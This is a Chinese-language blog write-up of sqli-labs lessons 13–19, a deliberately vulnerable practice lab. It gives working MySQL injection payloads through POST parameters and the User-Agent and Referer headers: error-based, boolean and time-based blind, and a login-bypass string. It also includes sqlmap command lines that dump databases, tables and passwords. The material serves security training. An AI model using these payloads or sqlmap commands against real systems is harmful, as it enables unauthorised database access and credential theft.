• sqlilab-Less-13-19 测试writeup


    Less-13 基于POST请求单引号字符型双注入

    这里是POST请求的注入,跟Less-12一样,只是改变成了单引号,加了括号,由于这个没有回显,那么无法进行联合查询注入

    报错注入
    uname=bmfx') and extractvalue(1,concat(0x7e,(select database()))) and ('&passwd=bmfx&submit=Submit

    其他跟Less-12一样

    python sqlmap.py -r less13.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

    ==============================================================================================================================

    Less-14 基于POST请求单引号字符型双注入

    POST请求注入,跟Less-13一样,只是拼接方式不一样,这是是改成双引号,没有加括号

    报错注入
    uname=bmfx" and extractvalue(1,concat(0x7e,(select database()))) and "&passwd=bmfx&submit=Submit

    聚合函数随机性注入
    uname=" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=bmfx&submit=Submit

    =================================================================================================================================

    Less-15 基于POST请求单引号的布尔型和时间型盲注

    布尔型盲注
    uname=admin' and 998=998 --+&passwd=admin&submit=Submit 登陆成功
    uname=admin' and 998=999 --+&passwd=admin&submit=Submit 登陆失败

    时间延时盲注
    uname=admin' and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

    爆库
    uname=admin' and if(length(database())=8,sleep(8),1)--+&passwd=shit&submit=Submit
    uname=admin' and if(left(database(),1)='s',sleep(8),1)--+&passwd=shit&submit=Submit
    上面慢慢的猜测数据库security

    爆表
    uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(8),1)--+&passwd=shit&submit=Submit

    爆字段
    uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(8),1)--+&passwd=shit&submit=Submit

    爆字段信息
    uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(8),1)--+&passwd=shit&submit=Submit

    sqlmap注入

    时间型盲注
    python sqlmap.py -r less15.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

    ==============================================================================================================================

    Less-16 基于POST请求双引号的布尔型和时间型盲注

    这里和Less-15一样的,只是需要将单引号改成")即可

    布尔型盲注
    uname=admin") and 998=998 --+&passwd=admin&submit=Submit 登陆成功
    uname=admin") and 998=999 --+&passwd=admin&submit=Submit 登陆失败

    时间延时盲注
    uname=admin") and sleep(8) --+&passwd=shit&submit=Submit 如果延时执行8秒,说明执行成功

    sqlmap注入

    时间型盲注
    python sqlmap.py -r less16.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch
    这里sqlmap注入测试发现是需要加入level和risk,不然注入不出来

    万能密码
    admin")#

    ==============================================================================================================================

    Less-17 基于POST请求显错更新查询注入

    此关卡对uname进行了过滤,但是没有对password进行过滤,具体过滤函数如下:

    截取15个字符
    get_magic_quotes_gpc()
    当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
    当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
    magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据
    在magic_quotes_gpc = On的情况下,如果输入的数据有
    单引号(')引号(")、反斜线()与 NULL(NULL)等字符都会被加上反斜线。
    stripslashes()删除由 addslashes() 函数添加的反斜杠
    ctype_digit()判断是不是数字,是数字就返回true,否则返回false
    mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
    intval() 整型转换

    报错注入,直接得出账户和密码
    uname=admin&passwd=998' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

    报错注入,有关于使用updatexml()它和extractvaule()这两个的注入尽量使用这两个,因为速度快

    爆版本
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+ &submit=Submit

    爆库
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ &submit=Submit

    爆表名
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+&submit=Submit

    爆字段
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

    爆用户名
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

    爆密码
    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

    uname=admin&passwd=shit' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

    sqlmap注入

    报错注入
    python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch

    布尔盲注
    python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs --batch

    时间型盲注
    python sqlmap.py -r less17.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs --batch

    ==============================================================================================================================

    Less-18 基于错误的用户代理头部注入

    $_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。

    $_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。

    $_SERVER['REMOTE_ADDR'],客户端不能伪造。

    所以这里的 IP 是无法被伪造的,这里只能通过修改User-Agent来进行注入

    爆库
    'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

    这里的手工注入和Less-12里面的手工注入语句一样

    sqlmap注入

    报错注入
    python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

    布尔盲注
    python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

    时间型盲注
    python sqlmap.py -r less18.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch

    ==============================================================================================================================

    Less-19 基于错误的头部Refer注入

    这里的手工注入和Less-12里面的手工注入语句一样,只不过这里是考察同refer进行注入

    爆库
    'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

    爆版本
    'and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '

    sqlmap注入

    报错注入
    python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

    布尔盲注
    python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --level=3 --risk=3 --dbs --batch

    时间型盲注
    python sqlmap.py -r less19.txt --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --level=3 --risk=3 --dbs --batch

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    正则表达式分组替换注意
    L2 正则化的直观理解
    git版本控制
    callbacks
    validation_data作用
    pandas 对某一列添加过滤
    py-redis 设置过期时间
    什么情况下要做预算会计
    超过一年的一个营业周期是什么意思?
    无形资产为什么属于非流动资产
  • 原文地址:https://www.cnblogs.com/autopwn/p/13704648.html
Copyright © 2020-2023  润新知